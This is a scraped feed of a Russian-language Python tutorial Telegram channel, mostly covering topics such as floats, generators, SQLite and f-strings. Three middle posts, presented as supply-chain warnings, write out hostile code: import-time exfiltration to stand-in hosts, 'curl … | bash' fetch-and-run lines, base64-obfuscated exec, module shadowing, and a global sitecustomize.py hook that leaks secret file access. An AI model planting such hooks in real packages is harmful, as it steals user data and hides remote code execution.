PytStart | Программирование на Python
4.45K subscribers
20 photos
26 videos
54 links
Python: примеры кода, уроки, статьи

Купить рекламу: https://telega.in/c/pytstart

✍️По всем вопросам: @Pascal4eg
Download Telegram
🔧 Как использовать background‑задачи в FastAPI

Если ты разрабатываешь Python‑бэкенд на FastAPI и сталкиваешься с долгими операциями — такими как отправка email, генерация отчетов или обработка файлов — BackgroundTasks станет твоим секретным оружием.

В статье ты узнаешь:

📌 Что это делает: запускает функции после отправки ответа, не блокируя API.
📌 Простой пример:
@app.post("/process")
async def process(data: str, background_tasks: BackgroundTasks):
background_tasks.add_task(save_to_db, data)
return {"status": "accepted"}

📌 Плюсы: моментальный отклик, плавная работа сервера.
📌 Минусы: задачи выполняются в том же процессе — для тяжёлых операций лучше использовать Celery.

➡️ Читайте и наслаждайтесь

🗣️ Теперь BackgroundTasks — не просто “полезный бонус”, а ключ — к быстрому, отзывчивому API.

🤩 Pytstart || #Статья
Please open Telegram to view this post
VIEW IN TELEGRAM
4
🎶🖼 Генерация музыки и изображений с помощью Python

Python умеет не только считать, но и создавать — музыку, звуки, картинки, абстракции, даже MIDI и визуализации.

🎵 Пример: генерация музыки с mido и pygame.midi

Создадим простую MIDI-мелодию прямо из Python.
from mido import Message, MidiFile, MidiTrack

mid = MidiFile()
track = MidiTrack()
mid.tracks.append(track)

notes = [60, 62, 64, 65, 67, 69, 71, 72] # До-мажор

for note in notes:
track.append(Message('note_on', note=note, velocity=64, time=120))
track.append(Message('note_off', note=note, velocity=64, time=120))

mid.save('scale.mid')

➡️ Получишь scale.mid, который можно открыть в любом MIDI-плеере или DAW (FL Studio, GarageBand).

📌 MIDI — это просто команды: нота, скорость, длительность. А mido даёт к ним простой Python-интерфейс.

🖼 Генерация изображений с Pillow и шумом

Создадим абстрактную картинку — просто как визуальное искусство.
from PIL import Image
import random

img = Image.new('RGB', (256, 256))
pixels = img.load()

for x in range(256):
for y in range(256):
r = random.randint(0, 255)
g = (x + y) % 256
b = (x * y) % 256
pixels[x, y] = (r, g, b)

img.save('abstract.png')

➡️ Получаешь абстрактный шум-калейдоскоп. Можно менять формулы, добавлять фильтры, слои.

💡 Генерация через turtle — рисование как в логотипе
import turtle
t = turtle.Turtle()
t.speed(0)

for i in range(360):
t.forward(i * 0.5)
t.right(59)

turtle.done()

➡️ Простая генеративная графика. Идеально для образовательных визуализаций.

🔥 Хочешь мощнее? Используй:

👍 🎨 matplotlib + Perlin noise — для фракталов, текстур, геометрии
👍 🎹 music21, scamp, pretty_midi — для анализа и генерации партитур
👍 🧠 Magenta, DeepDream, VQGAN+CLIP — генерация с помощью ML


🗣️ Запомни: Python — это не только для бэкенда и ML. Он может сочинять музыку и рисовать, если ты дашь ему идею.Начни с MIDI и Pillow, а потом двинься в сторону генеративного искусства и нейронных моделей. Всё в твоих руках.
Please open Telegram to view this post
VIEW IN TELEGRAM
3❤‍🔥2👍2
🧮 Float в Python: == работает не так, как ты думаешь

Ты написал:
if accuracy == 0.9:
do_something()

Но do_something() не вызвался, хотя ты уверен: accuracy был 0.9.

🐍 Python тебе ничего не скажет. А причина — в том, как устроены числа с плавающей точкой.

📉 Пример: числа вроде равны, но == даёт False
a = 0.1 + 0.2
b = 0.3

print(a) # 0.30000000000000004
print(b) # 0.3
print(a == b) # False

➡️ Почему? Потому что 0.1 и 0.2 не могут быть точно представлены в двоичной системе. Они чуть-чуть больше или меньше, чем ты думаешь.

Как сравнивать числа правильно?

1. Через `math.isclose()`
import math

a = 0.1 + 0.2
b = 0.3

if math.isclose(a, b, rel_tol=1e-9):
print("Они почти равны ")

🟢 rel_tol — относительная погрешность (доля от значения)
🟢 по умолчанию 1e-9, но можно настраивать

2. Или вручную через `abs()`
if abs(a - b) < 1e-9:
print("Тоже нормально ")


🧪 Практика: где float ломает логику

👍 Проверка метрики модели
accuracy = 0.89999999999999

if accuracy == 0.9:
print("Готово!") # не сработает


✔️ Надо:
if math.isclose(accuracy, 0.9, rel_tol=1e-3):
print("Готово!") #


👍 Юнит-тесты в ML/науке
def test_calc():
assert (0.1 + 0.2) == 0.3 # сломается


✔️ Надо так:
def test_calc():
assert math.isclose(0.1 + 0.2, 0.3) #


👍 Фильтрация по значению
data = [0.1 + 0.2, 0.3, 0.4]
filtered = [x for x in data if x == 0.3]
print(filtered) # пусто


✔️ Сравни с допуском:
filtered = [x for x in data if math.isclose(x, 0.3)]
print(filtered) # [0.30000000000000004, 0.3]


⚠️ Не путай с Decimal

Если тебе нужна точная математика, например для денег:
from decimal import Decimal

print(Decimal("0.1") + Decimal("0.2") == Decimal("0.3")) # True

➡️ Но в ML, NumPy и TensorFlow используется float — поэтому важно уметь его правильно сравнивать.


🗣️ Запомни:Никогда не делай float1 == float2.Используй math.isclose() или abs(a - b) < ε.
Это не придирка — это баг, который может сидеть тихо в проде, в тестах, в логике. Всегда проверяй float сравнение глазами.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍84🔥3
👩‍💻 pygame 🆚 tkinter — когда брать, зачем и как работают в коде

Два способа рисовать и управлять интерфейсом в Python.
Но задачи у них разные: один про GUI, другой — про полный контроль над графикой.

🧱 Пример 1: простое окно с кнопкой

🪟 tkinter
import tkinter as tk

def clicked():
print(" Нажали!")

root = tk.Tk()
tk.Button(root, text="Нажми", command=clicked).pack()
root.mainloop()

➡️ Всё готово: окно, кнопка, обработчик.
Ты просто вызываешь виджеты. Интерфейс работает сразу.

🎮 pygame
import pygame

pygame.init()
screen = pygame.display.set_mode((300, 200))
clock = pygame.time.Clock()

while True:
for e in pygame.event.get():
if e.type == pygame.QUIT:
pygame.quit()
exit()
elif e.type == pygame.MOUSEBUTTONDOWN:
x, y = e.pos
if 100 <= x <= 200 and 80 <= y <= 120:
print(" Нажали!")

screen.fill((30, 30, 30))
pygame.draw.rect(screen, (0, 255, 0), (100, 80, 100, 40))
pygame.display.flip()
clock.tick(60)

➡️ Сам рисуешь кнопку, сам обрабатываешь координаты клика.
Нет виджетов — есть графика и контроль.

🧪 Пример 2: перемещение объекта

tkinter (через canvas)
import tkinter as tk

def move(event):
canvas.move(circle, 10, 0)

root = tk.Tk()
canvas = tk.Canvas(root, width=300, height=200)
canvas.pack()

circle = canvas.create_oval(50, 80, 100, 130, fill="blue")
root.bind("<Right>", move)

root.mainloop()

➡️ Управляем объектом через события.
Canvas — как 2D-слой для простых визуализаций.

🎮 pygame
import pygame

pygame.init()
screen = pygame.display.set_mode((300, 200))
clock = pygame.time.Clock()
x = 50

while True:
for e in pygame.event.get():
if e.type == pygame.QUIT:
pygame.quit()
exit()

keys = pygame.key.get_pressed()
if keys[pygame.K_RIGHT]:
x += 5

screen.fill((0, 0, 0))
pygame.draw.circle(screen, (0, 0, 255), (x, 100), 25)
pygame.display.flip()
clock.tick(60)

➡️ Никаких canvas и событий — только игровой цикл и рисование вручную.
Поведение на 100% контролируешь ты.

🧪 Пример 3: анимация

tkinterчерез after
import tkinter as tk

x = 10
def animate():
global x
canvas.move(ball, 2, 0)
x += 2
if x < 280:
root.after(20, animate)

root = tk.Tk()
canvas = tk.Canvas(root, width=300, height=200)
canvas.pack()
ball = canvas.create_oval(10, 90, 40, 120, fill="red")

animate()
root.mainloop()

➡️ Анимация работает через after() — таймер событий.

pygame — анимация встроена
import pygame

pygame.init()
screen = pygame.display.set_mode((300, 200))
clock = pygame.time.Clock()
x = 10

while True:
for e in pygame.event.get():
if e.type == pygame.QUIT:
pygame.quit()
exit()

x += 2
screen.fill((255, 255, 255))
pygame.draw.circle(screen, (255, 0, 0), (x, 100), 15)
pygame.display.flip()
clock.tick(60)

➡️ Анимация естественна: всё уже внутри игрового цикла.
Это делает pygame идеальным для плавной и быстрой графики.

🧠 Главное различие — не по функциям, а по подходу
| tkinter                        | pygame                     |
| ------------------------------ | -------------------------- |
| Всё готово (кнопки, поля) | Ничего нет — рисуешь сам |
| События через command/bind | Цикл обработки событий |
| Canvas как "поверхность" | Экран = всё рисуешь сам |
| GUI-утилиты, формы | Игры, визуализации, физика |


🗣️ Запомни:
tkinter — это когда нужен интерфейс, меню, формы, поля, кнопки.
pygame — когда нужен рендеринг, сцена, физика, анимация.
Они оба важны. Просто у каждого — своя территория.
Please open Telegram to view this post
VIEW IN TELEGRAM
7👍3
🧠 TensorFlow: подводные камни, о которых не пишут в туториалах

Работаешь с нейросетями? Даже если модель хорошая — мелкие баги в данных, reshape и обучении могут всё испортить.

Вот что нужно реально проверять — с примерами:

1️⃣. ⚠️ model.predict() и fit() — разные форматы
# обучение
model.fit(X_train, y_train)

# предсказание
pred = model.predict(X_test)

print(X_test.shape) # (100, 28, 28)

➡️ Если ты случайно дал X_test.shape == (28, 28) — будет shape mismatch, и баг не всегда очевиден.

🧠 Правильный вход: всегда проверяй .shape, особенно batch dimension.

2️⃣. 🎭 One-hot vs Label — не перепутай
from tensorflow.keras.utils import to_categorical

y = [0, 1, 2]
y_cat = to_categorical(y, num_classes=3)

# для categorical_crossentropy нужна one-hot
# для sparse_categorical_crossentropy — просто int

➡️ Если ты передал обычные метки в categorical_crossentropy — модель не будет учиться.

3️⃣. 🚨 model.evaluate()model.predict()
score = model.evaluate(X_test, y_test)
print("Loss:", score)

➡️ evaluate() даёт loss/accuracy.
Не путай с predict() — он просто возвращает массив вероятностей.

4️⃣. 🔄 model.save() сохраняет не всё
model.save("mymodel.keras")

➡️ Да, сохраняется архитектура и веса.
Но: оптимизатор, метрики, custom-объекты могут потеряться, если не явно указал.

5️⃣. 🧱 tf.data.Dataset — норм, но может молчать, если ошибка в генераторе
ds = tf.data.Dataset.from_tensor_slices((X, y)).batch(32)

➡️ Ошибки в генераторе данных не выбрасываются сразу — ты их ловишь на 5-м шаге fit().

Решение: отлаживай генераторы вручную, перед тем как пихать в Dataset.

6️⃣. 📏 Не забывай model.summary() и plot_model
model.summary()
# или
from tensorflow.keras.utils import plot_model
plot_model(model, show_shapes=True)

➡️ Если модель не обучается — часто ошибка в слоях или выходных размерах.


🗣 Запомни: TensorFlow мощный, но строгий. Модель может не учиться, не предсказывать или падать молча, если у тебя ошибся loss, shape, one-hot, metrics или input format.
Проверяй всё вручную — до обучения.
Please open Telegram to view this post
VIEW IN TELEGRAM
2👍2😐1
🖥 Генераторы

Генераторная функция - функция, в теле которой встречается ключевое слово yield. Будучи вызвана, такая функция возвращает объект-генератор (generator object) (итератор генератора (generator iterator)).

yield замораживает состояние функции-генератора и возвращает текущее значение. После следующего вызова __next__() функция-генератор продолжает своё выполнение с того места, где она была приостановлена.

В чем отличие [x for x in y] от (x for x in y) ?
Первое выражение возвращает список (списковое включение), второе – генератор.

Что особенного в генераторе
Генератор хранит в памяти не все элементы, а только внутреннее состояние для вычисления очередного элемента. На каждом шаге можно вычислить только следующий элемент, но не предыдущий. Пройти генератор в цикле можно только один раз.

Как объявить генератор
использовать синтаксис (x for x in seq)

оператор yield в теле функции вместо return

встроенная функция iter, которая вызывает у объекта метод __iter__(). Этот метод должен возвращать генератор.

Как получить из генератора список
Передать его в конструктор списка: list(x for x in some_seq). Важно, что после этого по генератору уже нельзя будет итерироваться.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍53
🖥 Подгенераторы

Подгенераторы в Python — это механизм, позволяющий одной генераторной функции делегировать часть своей работы другой генераторной функции. Это реализуется с помощью конструкции yield from.

Пример:

def subgen():
yield 1
yield 2

def main_gen():
yield 'start'
yield from subgen()
yield 'end'

for item in main_gen():
print(item)

# start
# 1
# 2
# end


Зачем это нужно:
Повышает читаемость и переиспользуемость кода.
Упрощает цепочку генераторов, избегая вложенных циклов for.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥62
🖥 Что возвращает итерация по словарю?

🔧 Ключ. Порядок следования ключей не гарантируется (в 3.6 гарантируется неофициально, в 3.7 гарантируется). Для маленьких словарей порядок будет тот же, что и в объявлении. Для больших порядок зависит от расположения элементов в памяти. Особый класс OrderedDict учитывает порядок добавления ключей.


for key in {'foo': 1, 'bar': 2}:
process_key(key)


Для итерации словаря по парам ключ-значение, можно использовать метод словаря .items(), который возвращает генератор кортежей (key, value).


for key, value in {'foo': 1, 'bar': 2}.items():
print(f"k - {key}, v - {value}")

# k - foo, v - 1
# k - bar, v - 2
Please open Telegram to view this post
VIEW IN TELEGRAM
7👍1
👨‍💻 Лучшие ресурсы для Python‑разработчика (2025)

Даже опытный питонист тратит часы на поиски свежих гайдов и документации. Эта подборка с Habr собрала проверенные и актуальные ресурсы, чтобы учиться, развиваться и держать код в форме.

В статье вы найдёте:


📌 Подборку книг и документации, которые реально читают разработчики в 2025
📌 YouTube‑каналы и блоги для middle‑ и senior‑уровня
📌 Инструменты для анализа и визуализации кода
📌 Сообщества и чаты, где можно задать вопросы и не услышать «RTFM»
📌 Что полезного для разработчиков: экономия времени на поиск, только живые и актуальные ресурсы
📌 Как это помогает писать код лучше: быстрее учишься новому, находишь ответы и решения без долгих поисков

➡️ Читайте и наслаждайтесь

🗣 Ты пишешь лучше, когда рядом есть правильные инструменты и сообщество.

🤩 Pytstart || #Статья
Please open Telegram to view this post
VIEW IN TELEGRAM
👍32🔥2
👩‍💻 Почему нельзя изменять список во время итерации?

Одна из самых неприятных ловушек Python — это изменение списка внутри цикла, пока ты по нему итерируешься. Поведение может быть странным, непредсказуемым и багованным.

Вот почему это происходит и как избежать ошибок 👇

🟢 Что пойдёт не так:
numbers = [1, 2, 3, 4, 5]

for n in numbers:
if n % 2 == 0:
numbers.remove(n)

print(numbers)

➡️ Ожидаешь удалить все чётные числа? Получишь [1, 3, 5]?

Нет! Вывод: [1, 3, 5] — и это ещё повезло. Иногда список "ломается" сильнее.
Причина: Python итерируется по индексам, а ты меняешь структуру под ним. Итератор и список начинают «разъезжаться».

🟢 Как правильно: создавать новый список
numbers = [1, 2, 3, 4, 5]
filtered = [n for n in numbers if n % 2 != 0]

print(filtered) # [1, 3, 5]

➡️ Лаконично и безопасно: оригинальный список не трогаем.

🟢 Или использовать .copy():
numbers = [1, 2, 3, 4, 5]

for n in numbers.copy():
if n % 2 == 0:
numbers.remove(n)

print(numbers) # [1, 3, 5]

➡️ Работает, потому что цикл идёт по копии, а изменения касаются оригинала.

🟢 Словари: та же история
data = {"a": 1, "b": 2, "c": 3}

for k in list(data.keys()):
if data[k] % 2 == 0:
del data[k]

print(data) # {'a': 1, 'c': 3}

➡️ Никогда не удаляй элементы прямо по dict.keys() — используй list() для копии.

🗣️ Запомни: Изменять коллекцию в процессе обхода — почти всегда ошибка.
Лучше создавай новую или итерируйся по копии.

📍Где важно:
Фильтрация списков, работа с dict, удаление элементов из множеств, обработка очередей, итерации с условиями.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍73
👩‍💻 SQLite в Python: база прямо в файл, без сервера

Когда не нужен полноценный PostgreSQL, а просто надо где-то хранить данные — SQLite идеально.

✔️ Легковесно
✔️ Без установки
✔️ Всё в одном .db-файле

🔧 Пример: создать базу и таблицу
import sqlite3

conn = sqlite3.connect("users.db") # создаёт файл, если нет
cursor = conn.cursor()

cursor.execute("""
CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL,
age INTEGER
)
""")
conn.commit()

➡️ Создали таблицу users — без серверов, Docker и настроек.

Вставка данных
cursor.execute("INSERT INTO users (username, age) VALUES (?, ?)", ("alice", 30))
conn.commit()

➡️ Используем ? — это защита от SQL-инъекций.

🔍 Чтение данных
cursor.execute("SELECT * FROM users")
for row in cursor.fetchall():
print(row)

➡️ Получаем все строки как кортежи.

🔁 Обновление и удаление
cursor.execute("UPDATE users SET age = ? WHERE username = ?", (31, "alice"))
cursor.execute("DELETE FROM users WHERE age < ?", (18,))
conn.commit()

➡️ Всё как в обычном SQL. Просто — и работает.

Закрытие соединения
conn.close()

Или так:
with sqlite3.connect("users.db") as conn:
...


🗣️Запомни:
SQLite — идеальный вариант для прототипов, локальных тулз, ботов, скриптов и парсеров.
Поддерживает SQL, транзакции, индексы — и всё в одном файле.
Please open Telegram to view this post
VIEW IN TELEGRAM
7👍4🔥1
💥 Supply Chain атака через __init__.py в Python — как тебя могут взломать на ровном месте

🔓 Установка либы — и ты уже в зоне риска
pip install requestz


Ты хотел requests, а получил requestz. Внутри:
# requestz/__init__.py

import os
import requests

requests.post("http://attacker.site", data={
"cwd": os.getcwd(),
"user": os.getlogin()
})


➡️ Ты даже не вызывал ничего. Просто:
import requestz


И скрипт уже отправил данные.

📦 Импорт = Выполнение

В Python каждый __init__.py — обычный код.
Ты пишешь:

import foo


А Python делает:

1. Открывает foo/__init__.py
2. Выполняет его построчно

Вот пример:
# foo/__init__.py

print("🔥 Заработало")
os.system("curl http://evil.site/shell.py | python3")

➡️ Никаких функций, никаких main() — просто импорт = ты уже в игре.

🐍 Даже wheel может быть заражён
pip install evil-logger-0.1-py3-none-any.whl


Тебе передали файл “удобной логгера”, ты поставил. Всё, в __init__.py был import os; os.system(...).
Ты даже не подозреваешь.

🤫 Вредоносный код можно спрятать “глубже”
# mylib/__init__.py

__import__("mylib.core.loader").boot()


А уже в loader.py:
def boot():
import os
os.system("curl http://bad.site/runme.sh | bash")

➡️ Скрипт запускается неявно — ты видишь “ничего нет”, но ты уже сливаешь данные.

🧪 Пример заражения через Git
git clone https://github.com/fakecorp/data-utils.git
cd data-utils
pip install .


Внутри data_utils/__init__.py:
import base64, os

exec(base64.b64decode("aW1wb3J0IG9zO29zLnN5c3RlbSgiY3VybCA...=="))

➡️ Код закодирован, чтобы ты не увидел глазами. Но он выполняется.

🗣 Запомни: __init__.py — это точка входа, которую никто не проверяет, но она исполняется всегда.
Любая либа может стать трояном. Если ты ставишь чужой пакет — ты запускаешь чужой код.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍73
👨‍💻 PyExamine: умный детектив для Python‑кода

Код может выглядеть красиво, но скрывать «запахи» и архитектурные проблемы. PyExamine — новый инструмент (январь 2025), который видит глубже обычного линтера и помогает держать код чистым и надёжным.

В статье вы найдёте:


📌 Как PyExamine находит 49 типов «code smells» на трёх уровнях: архитектура, структура и строки
📌 Почему у него высокая точность (до 91 %) даже на больших проектах
📌 Как встроить его в CI/CD и ускорить ревью
📌 Чем он полезнее обычных линтеров и статических анализаторов
📌 Что полезного для разработчиков: меньше багов, быстрее ревью, чище архитектура
📌 Как это помогает писать код лучше: код становится понятнее, техдолг снижается, а сопровождение — проще и дешевле

➡️ Читайте и наслаждайтесь

🗣️ Хороший код видно сразу — но идеальный код сначала проверяют «по запаху»

🤩 Pytstart || #Статья
Please open Telegram to view this post
VIEW IN TELEGRAM
8
🎣 Скрытая передача данных через import: троян через namespace-подстановку

📦 Подмена стандартного модуля

# В проекте рядом лежит logging.py
import os
import requests

requests.post("http://evil.site/steal", data=os.getlogin())



# В коде
import logging # ← думаешь, стандартный?

➡️ На деле: исполняется твой файл, а не стандартный logging.
Python сначала смотрит в текущую папку. Всё, утечка пошла.

🔄 Захват стандартной функции

import builtins
import requests

def fake_open(*args, **kwargs):
requests.post("http://evil.site/open", data="triggered")
return real_open(*args, **kwargs)

real_open = builtins.open
builtins.open = fake_open

➡️ Ты импортируешь «невинную» либу — она ловит все вызовы open() и делает пост в фоне.

🤐 Обфускация через __import__

name = "urllib.request"
mod = __import__(name.split(".")[0])
for part in name.split(".")[1:]:
mod = getattr(mod, part)
mod.urlopen("http://evil.site/ok")

➡️ В статике import не видно.
Ты смотришь на код — вроде чисто. А он выполняет всё, что нужно, скрыто.

💉 Вставка в sys.modules

import sys
import types
import requests

fake_os = types.ModuleType("os")
fake_os.getlogin = lambda: (requests.post("http://attacker.site", data="who"), "root")[1]

sys.modules["os"] = fake_os

➡️ Теперь любой `import os` вызовет fake_os, и ты получишь root, но ещё и отправку на сервер.

🧬 Скрытая логика в property

class Proxy:
@property
def secrets(self):
__import__('requests').post("http://leak.site", data="triggered")
return "nothing here"

import sys
sys.modules["secrets"] = Proxy()

➡️ Всё, кто импортнёт secrets, вызовут property → произойдёт слив.

🔀 Расширение init.py и подгрузка мусора

# somepkg/__init__.py
__import__("backdoor").run()


Ты ставишь:

pip install somepkg

А у тебя уже:

import somepkg # ← ничего не делал — уже слил



🗣️ Запомни: Каждый `import` = потенциальный запуск кода.
Python — динамический. Весь namespace можно переопределить, подсунуть, замаскировать.
Если ты не смотришь, что именно исполняется при импорте, ты уже проиграл.
Please open Telegram to view this post
VIEW IN TELEGRAM
4👍3🔥3😱3
Как внедрить функции-ловушки, которые отрабатывают до любого импорта (даже до __main__)

📌 Цель: ловушка, которая срабатывает ещё до выполнения main.py

Решениеsitecustomize.py, который Python запускает автоматически при старте.

📁 Шаг 1: создаём sitecustomize.py
# sitecustomize.py

import builtins

# Сохраняем оригинальную функцию
_real_open = builtins.open

# Подмена open()
def hooked_open(*args, **kwargs):
print(f"[HOOK] open{args}")
return _real_open(*args, **kwargs)

builtins.open = hooked_open

print("[HOOK] sitecustomize.py отработал")

➡️ Этот код выполняется ещё до import, __main__, argparse, чего угодно.
Он перехватывает `open()` во всей системе.

🧪 Шаг 2: проверяем, что ловушка срабатывает
# main.py

print("main.py запускается")
with open("demo.txt", "w") as f:
f.write("test")


Запуск:
python main.py


Результат:
[HOOK] sitecustomize.py отработал
[HOOK] open('demo.txt', 'w')
main.py запускается

➡️ sitecustomize.py выполнен первым, ещё до main.py.


📌 Шаг 3: куда положить sitecustomize.py

Python ищет его в sys.path. Один из вариантов — положить прямо в site-packages.
python -m site


Найди путь вроде:
/usr/lib/python3.10/site-packages

Кидаем туда:
cp sitecustomize.py /usr/lib/python3.10/site-packages/


Теперь любой скрипт, запускаемый через этот Python, будет ловиться.

📁 Шаг 4: скрытая подмена поведения
# sitecustomize.py

import builtins
import subprocess

def hooked_open(*args, **kwargs):
if "secrets" in str(args[0]):
print(f"[STEAL] попытка открыть секретный файл: {args[0]}")
subprocess.run(["curl", "-X", "POST", "--data", f"file={args[0]}", "http://attacker.site"])
return _real_open(*args, **kwargs)

_real_open = builtins.open
builtins.open = hooked_open

➡️ Теперь любой импорт или скрипт, который полезет в secrets.txt, автоматически сливает инфу.

🧨 Шаг 5: даже pip install или Jupyter попадут

Поставь sitecustomize.py глобально — и любой запуск Python, хоть pip, хоть jupyter notebook, будет перехвачен.

🛑 Как защититься
python -S main.py

Флаг -S отключает запуск sitecustomize.py и usercustomize.py.

🗣️ Запомни:sitecustomize.py — это невидимая точка входа, которая исполняется до твоего кода.
Через неё можно внедрить подмену функций, шпионить, саботировать — и ты не увидишь этого в main.py.
Please open Telegram to view this post
VIEW IN TELEGRAM
7
🖥 Миксины (mix-in)

Миксин (mix-in, анг. “примесь”), паттерн проектирования в ООП, когда в цепочку наследования добавляется небольшой класс-помощник. Например, есть класс


class NowMixin(object):
def now():
return datetime.datetime.utcnow()


Тогда любой класс, наследованный с этим миксином, будет иметь метод now().

В названия миксинов принято добавлять слово Mixin, так как не существует никакого механизма для понимания полноценный это класс или миксин. Миксин технически является самым обычным классом.
Please open Telegram to view this post
VIEW IN TELEGRAM
4
👩‍💻 Изменяемые и неизменяемые типы в Python: не путай!

Новички часто удивляются, когда данные "меняются сами по себе". Причина — путаница между изменяемыми и неизменяемыми типами.

👍 Неизменяемые типы (immutable):
int, float, str, tuple, bool, frozenset
a = "hi"
b = a
a = "bye"
print(b) # hi

➡️ b осталась "hi", потому что строки неизменяемы. a = "bye" создала новый объект.

🟢 Изменяемые типы (mutable):
list, dict, set, bytearray, user-defined объекты
a = [1, 2, 3]
b = a
a.append(4)
print(b) # [1, 2, 3, 4]

➡️ b тоже изменилась, потому что список — изменяемый. b = a — это ссылка на тот же объект.

🟢 Что это значит на практике?

1️⃣. Можно "безопасно" копировать неизменяемые значения
2️⃣. ⚠️ С изменяемыми — нужно использовать .copy() или copy.deepcopy(), если не хочешь менять оригинал

📌 Пример с функцией:
def add_item(lst):
lst.append(99)

my_list = [1, 2]
add_item(my_list)
print(my_list) # [1, 2, 99]

➡️ Список изменился! Потому что передали ссылку, а не копию.


🗣️ Запомни: Неизменяемые типы создают копии при присваивании, изменяемые — передают ссылку.Всегда думай, что именно ты копируешь: значение или объект.
Please open Telegram to view this post
VIEW IN TELEGRAM
2👍2🔥2
🌦 Пишем свой прогноз погоды на Python за 30 минут

Хотите прокачать Python‑скилы и сделать что‑то реально полезное? Статья показывает, как с нуля собрать сервис прогноза погоды: API, обработка данных и красивый вывод — всё просто и понятно.

В статье вы найдёте:

📌 Как получить данные о погоде через бесплатный API
📌 Парсинг JSON‑ответов и работа с библиотекой requests
📌 Форматирование и вывод прогноза в терминал
📌 Мини‑GUI на tkinter, если хочется красивее
📌 Что полезного для разработчиков: тренировка работы с API и визуализацией
📌 Как это помогает писать код лучше: учитесь сразу делать законченный мини‑проект и писать чище

➡️ Читайте и наслаждайтесь

🗣️ Лучший способ учиться — сделать что‑то, что реально работает.

🤩 Pytstart || #Cтатья #Проекты
Please open Telegram to view this post
VIEW IN TELEGRAM
5🔥3👏2
🛡 Telebot: антиспам-фильтр с finite state machine (FSM)

Если ты пишешь Telegram-бота с pyTelegramBotAPI (aka Telebot) и хочешь бороться со спамом, флудом или нарушителями правил — логичное решение: добавить антиспам через простую FSM-модель поведения пользователя. Ни сторонние БД, ни Redis не нужны — можно сделать локальный FSM прямо в коде.

📌 Дальше — подробности с практикой 👇

🔧 Шаг 1: Подключаем нужное
from telebot import TeleBot, types
from collections import defaultdict
import time


Создаём FSM через словарь:
bot = TeleBot("YOUR_TOKEN")
user_states = defaultdict(dict)


🧠 Шаг 2: Простейшая state-машина

Пусть мы хотим ограничить количество сообщений — например, не более 3-х за 5 секунд. Если больше — баним или мутим.
MAX_MSG = 3
INTERVAL = 5 # секунд


В хэндлере сообщений:
@bot.message_handler(func=lambda msg: True)
def check_spam(message):
uid = message.from_user.id
now = time.time()

# Получаем историю сообщений
history = user_states[uid].get("history", [])
history = [t for t in history if now - t < INTERVAL]
history.append(now)
user_states[uid]["history"] = history

if len(history) > MAX_MSG:
bot.reply_to(message, "🚫 Слишком много сообщений! Помедленнее.")
else:
bot.reply_to(message, f" Сообщение получено: {message.text}")

➡️ Здесь user_states — простой локальный контейнер состояний: мы храним историю таймстампов для каждого пользователя и обновляем её на каждом сообщении.

🧩 Шаг 3: FSM-переходы

Можно расширить FSM для разных состояний, например: normal, warned, muted. Сменим user_states[uid]["state"] в зависимости от поведения:
def get_state(uid):
return user_states[uid].get("state", "normal")

def set_state(uid, state):
user_states[uid]["state"] = state


Теперь можно реагировать умнее:

if len(history) > MAX_MSG:
state = get_state(uid)
if state == "normal":
set_state(uid, "warned")
bot.reply_to(message, "⚠️ Осторожно! Вы спамите.")
elif state == "warned":
set_state(uid, "muted")
bot.reply_to(message, "🤐 Вы замучены за флуд.")

🛠 Мут можно хранить с таймером и сбрасывать через threading.Timer или cron. А можно просто очищать state по таймеру вручную.


💡 Запомни:

👍 FSM — это когда у каждого пользователя есть "текущее состояние", и логика зависит от этого состояния.
👍Для антиспама часто хватает истории действий за X секунд и переходов состояний (warn → mute).
👍 Такая FSM гибкая: можно адаптировать под регистрацию, викторины, проверки новых участников и др.
👍 defaultdict(dict) — простой способ хранить FSM без SQL/Redis.
👍 Лучше всё-таки вынести состояние в отдельный класс FSMUser, если логика усложняется.

🗣️Хочешь пример с Redis, SQLite или FSM через OOP? Пиши — сделаем!
Please open Telegram to view this post
VIEW IN TELEGRAM
5👏1
Media is too big
VIEW IN TELEGRAM
7 Ошибок новичков в Python, которые нужно исключить

В этом видео разбираются 7 частых ошибок, которые совершают новички в Python.Автор наглядно показывает, какие привычки мешают писать чистый и понятный код, объясняет, как их избегать и что использовать вместо них. Это отличное видео, чтобы не наступать на типичные грабли и сразу прокачивать стиль программирования.


➡️ Ссылка на первоисточник

🤩 Pytstart || #Видеокурс
Please open Telegram to view this post
VIEW IN TELEGRAM
4👍1
🧙‍♂️Секреты f-строк: выражения, форматирование и даже вызов функций внутри f-строки

Ты думал, f-строки — это просто f"Hello {name}"?
А что если я скажу, что туда можно засовывать функции, арифметику и даже условия?

Вот мощный разбор, как выжать максимум из f-строк в Python 👇

🟢 1. Арифметика прямо в строке
a, b = 10, 3
print(f"Сумма: {a + b}, Разность: {a - b}")

🟢 Внутри фигурных скобок можно писать полноценные выражения.
➡️ Да хоть f"Результат: {(a * b) ** 2}" — это законно.

🟢2. Функции внутри f-строки
def shout(name):
return name.upper() + "!"

print(f"Привет, {shout('Алиса')}")

🟢 Вызов функций? Да. Лямбды? Тоже можно. Даже f"{sorted([3,1,2])}" работает.

🟢3. Условия и тернарные выражения
age = 20
print(f"{'Совершеннолетний' if age >= 18 else 'Несовершеннолетний'} пользователь")

🟢 Отлично работает с любыми if ... else внутри {}.

🟢4. Форматирование чисел по-человечески
value = 12345.6789
print(f"{value:.2f}") # 12345.68
print(f"{value:,.2f}") # 12,345.68

➡️ :.2f — два знака после запятой
➡️ :, — добавляет разделитель тысяч

🟢5. Форматирование по ширине и выравниванию
name = "Alice"
print(f"{name:>10}") # справа
print(f"{name:<10}") # слева
print(f"{name:^10}") # по центру

🟢 Работает с числами и строками. Полезно в логах и таблицах.

🟢 6. Форматирование как hex, bin, oct
num = 42
print(f"{num:b}") # 101010
print(f"{num:x}") # 2a

👍 b — двоичная
👍 x — шестнадцатеричная
👍 o — восьмеричная

🟢 7. Вложенные f-строки и шаблоны
user = {"name": "Eva", "points": 120}
print(f"{user['name']} набрала {f'{user['points'] * 2}'} очков")

🟢 Иногда полезно, но лучше избегать слишком сложной вложенности.

💡 Запомни
f-строки — это не просто вставка переменных
Используй форматирование, условия, вызовы функций
Удобно для логов, отчётов, динамического UI, и шаблонов CLI

🗣️ Хочешь пост про format() против f-строк, или как делать шаблоны с f-строками? Предложи тему — сделаем!
Please open Telegram to view this post
